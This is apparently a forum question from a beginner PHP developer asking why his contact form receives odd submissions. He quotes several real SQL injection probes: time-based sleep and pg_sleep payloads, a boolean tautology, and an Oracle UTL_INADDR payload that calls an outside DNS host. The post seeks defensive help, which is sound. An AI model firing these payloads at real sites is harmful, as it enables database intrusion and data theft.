I'm a newbie in PHP development. I created a site using PHP, HTML & Css which has a contact us page. Since last couple of days someone from a particular country (I don't want to mention the country name) is creating support message and entering some unusual or suspicious messages.
The contact from has four fields such as Full Name, E-mail, Subject & Message. Someone is sending messages like
1st:
written as "Subject" & (select(0)from(select(sleep(6)))v)/*'+
(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
2nd:
-1' OR 2+582-582-1=0+0+0+1 or '0gX9xp3t'='
3rd:
1iY5zL4R'));select pg_sleep(3); --
4th:
1||UTL_INADDR.get_host_address('dns.'||'sqli.032682.7775.77.a4f00.1.bxss'||'.me')
And there are many, please anyone who is familiar with PHP or others tell me what is this going on. Also please share some security precautions which I should take to prevent any threats or hacking.
I have built my site using MYSQLi to prevent/minimize SQL injection threats.